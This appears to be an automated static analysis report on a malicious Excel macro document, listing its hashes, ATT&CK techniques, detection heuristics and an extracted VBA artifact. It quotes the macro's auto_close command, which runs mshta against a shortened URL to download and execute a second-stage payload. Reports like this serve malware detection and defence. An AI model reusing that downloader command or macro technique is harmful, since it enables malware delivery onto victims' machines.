Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 78157a1df91bf1b6…

MALICIOUS

Office (OLE) / .XLS

63.5 KB Created: 2021-02-14 11:28:48 Authoring application: Microsoft Excel
MD5: e8ecce7c673d1df0d5186bb60143380e SHA-1: d94435bba9561052120e4a53615e75bac693c957 SHA-256: 78157a1df91bf1b66eb259a223fb58d195185aff1b519c0014368458fd82bbbf
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Signed Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The sample is an Excel file containing VBA macros. The 'auto_close' macro is designed to execute 'mshta http:\j.mp/4sdn4sknk4nskf', which is a common technique for downloading and executing a second-stage payload. The use of CreateObject and mshta.exe points to a macro-based downloader.

Heuristics 6

  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
bee398cf0d523ff3c3d76535d678ebb516e9e16e5ef7c90e9f01f78207fe79e3		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 4778 bytes

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